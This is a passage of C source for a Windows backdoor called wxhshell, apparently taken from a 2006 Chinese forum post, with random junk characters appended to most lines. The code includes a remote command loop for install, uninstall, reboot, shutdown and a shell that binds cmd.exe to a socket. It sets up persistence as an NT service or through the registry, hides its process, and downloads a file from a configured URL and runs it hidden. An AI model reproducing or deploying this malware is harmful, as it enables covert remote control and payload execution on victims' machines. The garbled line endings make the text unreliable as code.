    switch(cmd[0]) { wvUph[j}J  
  <-lz_  
  // 帮助 `ZNjA},.  
  case '?': { j"YJ1R-5  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Q |l93Rb`  
    break; lGcHfW)Y  
  } 67n1s  
  // 安装 x#ouR+<  
  case 'i': { Ebq5P$  
    if(Install()) ]-ZD;kOr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y:W$~<E`p  
    else bk>M4l61  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w5&UG/z%l  
    break; 4!monaB"e  
    } 6 #QS 5  
  // 卸载 1F$a My?  
  case 'r': { G LE`ba  
    if(Uninstall()) {8UBxFIM(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^U`[P@T  
    else 0<^K0>lm p  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Kh5:+n_X  
    break; Ay2|@1e  
    } *1elUI2Rg  
  // 显示 wxhshell 所在路径 !\!fd(BN  
  case 'p': { >iG`  
    char svExeFile[MAX_PATH]; xy|;WB  
    strcpy(svExeFile,"\n\r"); 63k8j[$  
      strcat(svExeFile,ExeFile); IAtc^'l#  
        send(wsh,svExeFile,strlen(svExeFile),0); C6/,-?%)  
    break; x^C,xP[#Y;  
    } ^ qE4:|e  
  // 重启 )@Bt[mfrVD  
  case 'b': { "@Te!.~A.  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); k_y@vW3  
    if(Boot(REBOOT)) {&2$1p/9'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ETtK%%F0  
    else { <89 js87  
    closesocket(wsh); \x|(`;{  
    ExitThread(0); g/Qr] :;  
    } )Wc#?K  
    break; kmP0gT{Sj  
    } 0TVO'$Gvi  
  // 关机 H9 't;Do  
  case 'd': { l+T\DZ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %GHHnf%2Z  
    if(Boot(SHUTDOWN)) `T~M:\^D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6}<PBl%qe  
    else { ['sIR+c%'O  
    closesocket(wsh); t(ZiQ<A  
    ExitThread(0); Z9!goI  
    } y`\/eX  
    break; .oSKSld  
    } @NV$!FB<  
  // 获取shell Fmsg*s7w  
  case 's': { Y$'fds4P  
    CmdShell(wsh); 6}|/~n  
    closesocket(wsh); r3iNfY b  
    ExitThread(0); blS*HKw  
    break; `;i| %$TU  
  } K` U\+AE  
  // 退出 1{u;-pg  
  case 'x': { qOk4qbl[  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 2{&|%1Jg  
    CloseIt(wsh); IG#=}q  
    break; g\X"E>X  
    } x.45!8Zb  
  // 离开 ^]Gt<_  
  case 'q': { O >'o;0  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); RtF_p {s  
    closesocket(wsh); b@5bN\"x$  
    WSACleanup(); p 6jR,m8S  
    exit(1); Z\@vN[[  
    break; xat)9Yb}0  
        } G\Sd!'?p  
  } w8@ Ok_fj  
  } wV U(Du  
q>H!?zi\Hy  
  // 提示信息 (}Gl'.>\M  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N|Rlb5\  
} d)dIIzv  
  } HeF[H\a<  
8U=M.FFp  
  return; "qwRcuHY  
} iRPd=)  
@++ X H}  
// shell模块句柄 ( XE`,#  
int CmdShell(SOCKET sock) ~A"ODLgU9  
{ tCA |sN  
STARTUPINFO si; )V9$ P)  
ZeroMemory(&si,sizeof(si)); 5*4P_q(AxD  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; TmO\!`  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; T0aK1Lh  
PROCESS_INFORMATION ProcessInfo;  ~LkReQI  
char cmdline[]="cmd"; r^Gl~sX  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); lW7kBCsz#  
  return 0; @.MM-  
} bZ%[ON5OY  
NB16O !r  
// 自身启动模式 q9!5J2P  
int StartFromService(void) I80.|KIv  
{ |F6C&GNYT  
typedef struct OPKm^}  
{ /T_tI R>  
  DWORD ExitStatus; X'iki4  
  DWORD PebBaseAddress; t}TtWI  
  DWORD AffinityMask; M*0&3Y Z  
  DWORD BasePriority; J }JT%S W  
  ULONG UniqueProcessId; [S$)^>0  
  ULONG InheritedFromUniqueProcessId; %OW[rbE.  
}   PROCESS_BASIC_INFORMATION; MR8-xO'w  
x}F.<`  
PROCNTQSIP NtQueryInformationProcess; {V:?r  
b_][Jye&P  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; s{A-K5S  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^\_`0%`>  
>-oa`im+  
  HANDLE             hProcess; [[TB.'k  
  PROCESS_BASIC_INFORMATION pbi; 6bfk4k  
8/=[mYn`-  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \@I.K+hj$  
  if(NULL == hInst ) return 0; B?TAS  
Nz$O D_]  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); U6_1L,W  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); r+ vtKb  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ir/2/ E  
~\XB'  
  if (!NtQueryInformationProcess) return 0; d9sgk3K  
WhK?>u  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -?@ $`{-K  
  if(!hProcess) return 0; @Z.Ne:*J  
iiRK3m  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Fbk<qQH  
y(N-1  
  CloseHandle(hProcess); BPi>SI0  
cL=P((<K?  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); RV&2y=eb  
if(hProcess==NULL) return 0; G#l zB`i  
J"[OH,/_  
HMODULE hMod; |5g*pXu{  
char procName[255];   I]  
unsigned long cbNeeded; n>iPA D  
^hbh|Du  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); HqN|CwGgJ:  
ydlH6>  
  CloseHandle(hProcess); }KZ/>Z;^  
<5L!.Ci  
if(strstr(procName,"services")) return 1; // 以服务启动 $ar:5kif  
8t6h^uQ  
  return 0; // 注册表启动 {d )Et;_  
} e {c.4'q  
#|$7. e  
// 主模块 oNiS"\t  
int StartWxhshell(LPSTR lpCmdLine) VgoQz]z  
{ E$Ge# M@dM  
  SOCKET wsl; Y*"%;e$tg  
BOOL val=TRUE; Ke,-8e#Q  
  int port=0; Oq!u `g9  
  struct sockaddr_in door; MTqbQ69v  
%DRDe  
  if(wscfg.ws_autoins) Install(); Ppx*  
5[*MT%ms  
port=atoi(lpCmdLine); Q/0}AQO  
8uCd|dJ  
if(port<=0) port=wscfg.ws_port; !!` zz  
O<%U*:B  
  WSADATA data; 0<>iMrD  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; gXf_~zxS  
40@KL$B=  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ]Q,RVEtKp  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); h` n>6I  
  door.sin_family = AF_INET; gc(1,hv  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); fWLsk  
  door.sin_port = htons(port); d$Mj5wN:q  
zpa'G1v  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { e3[QM  
closesocket(wsl); W>@+H"pZ  
return 1; V=S`%1dLN  
} 8#oF7eE  
j^64:3  
  if(listen(wsl,2) == INVALID_SOCKET) { t+?\4+!<  
closesocket(wsl); U&B~GJT+  
return 1; }]?RngTt  
} 6J=~*&  
  Wxhshell(wsl); ;=e A2  
  WSACleanup(); j*6!7u.,K  
,e>ugI_;*  
return 0; ViVYyA  
fc!%W#-  
} `|PxEif+J  
FyY;F;4P  
// 以NT服务方式启动 (/hF~A  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) eueXklpg+  
{ M)b`~|Wt  
DWORD   status = 0; ? th+~dE  
  DWORD   specificError = 0xfffffff; &1Az`[zKGW  
OB"QWdh  
  serviceStatus.dwServiceType     = SERVICE_WIN32; oxad}Y  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; m:"2I&0)WM  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; JG4&eK$-  
  serviceStatus.dwWin32ExitCode     = 0; $~ `(!pa:  
  serviceStatus.dwServiceSpecificExitCode = 0; )p!dql K  
  serviceStatus.dwCheckPoint       = 0; esLY1c%"/  
  serviceStatus.dwWaitHint       = 0; #}jf TM  
x K_$^c.  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^Jkj/n'  
  if (hServiceStatusHandle==0) return; ZW\h,8%  
|kVxrq  
status = GetLastError(); GZ4{<QG  
  if (status!=NO_ERROR) Riw>cVi~  
{ 1hMk\ -3S  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; I#A`fJ  
    serviceStatus.dwCheckPoint       = 0; *tP,Ol  
    serviceStatus.dwWaitHint       = 0; JLG5`{  
    serviceStatus.dwWin32ExitCode     = status; e`_3= kI  
    serviceStatus.dwServiceSpecificExitCode = specificError; V];RQWs  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); L9AfLw5&X  
    return; K}$PIW  
  } ev+N KUi=  
#Io#OG<7b  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ||_F /AD  
  serviceStatus.dwCheckPoint       = 0; >|rL0  
  serviceStatus.dwWaitHint       = 0; ^Cak/5^K  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); A"P1 B]  
} q?t>!1c  
5aWKyXBIx  
// 处理NT服务事件,比如:启动、停止 z&- `<uV~  
VOID WINAPI NTServiceHandler(DWORD fdwControl) h?CNChRJs  
{ NuXU2w~  
switch(fdwControl) F,EHZ,<V  
{ "\V:W%23W{  
case SERVICE_CONTROL_STOP: `[ne<F?e  
  serviceStatus.dwWin32ExitCode = 0; [S9nF  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; LBM:>d5  
  serviceStatus.dwCheckPoint   = 0; as\V, {<  
  serviceStatus.dwWaitHint     = 0; 9GQTe1[t4  
  { GvVuFS>y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); YE-kdzff  
  } 6!gGWn5>}  
  return; >! c^  
case SERVICE_CONTROL_PAUSE: o-(jSaH :;  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; xr?r3Y~^e  
  break; L' )(Zn1  
case SERVICE_CONTROL_CONTINUE: <LLSUk/  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; }u|0  
  break; 1-b,X]i  
case SERVICE_CONTROL_INTERROGATE: I]$kVa1iN  
  break; ,$G89jSM  
}; xt-;7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); B$lbp03z  
} u(lq9; ;Th  
  () SG  
// 标准应用程序主函数 koie  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) X'3F79`  
{ >%W"u` Q  
;aFQP:l/  
// 获取操作系统版本 RnTPU`  
OsIsNt=GetOsVer(); O=+C Kx@  
GetModuleFileName(NULL,ExeFile,MAX_PATH); :r~?Z6gK  
hz/5k%%UX  
  // 从命令行安装 qI'a|p4fn?  
  if(strpbrk(lpCmdLine,"iI")) Install(); '<@PgO~  
w!xSYh')  
  // 下载执行文件 ,*bxNs'/  
if(wscfg.ws_downexe) { }y0UyOa{C  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) #G\)ZheG  
  WinExec(wscfg.ws_filenam,SW_HIDE); u{_T,k<!  
} 2xjS;lpw  
k,&W5zBKe  
if(!OsIsNt) { G N{.R7  
// 如果时win9x,隐藏进程并且设置为注册表启动 *.K}`89T  
HideProc(); 9^}GUJy?  
StartWxhshell(lpCmdLine); GEvif4  
} +^"|FtKhE  
else %b_zUFHPp  
  if(StartFromService()) z24-h C  
  // 以服务方式启动 LAvAjvRc  
  StartServiceCtrlDispatcher(DispatchTable); yC _X@o-n  
else Fs=nAn#  
  // 普通方式启动 HAU8H'h  
  StartWxhshell(lpCmdLine); 9:esj{X  
4e5Ka{# <  
return 0; 00 $W>Gr  
}
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只看该作者 1 发表于: 2006-10-10
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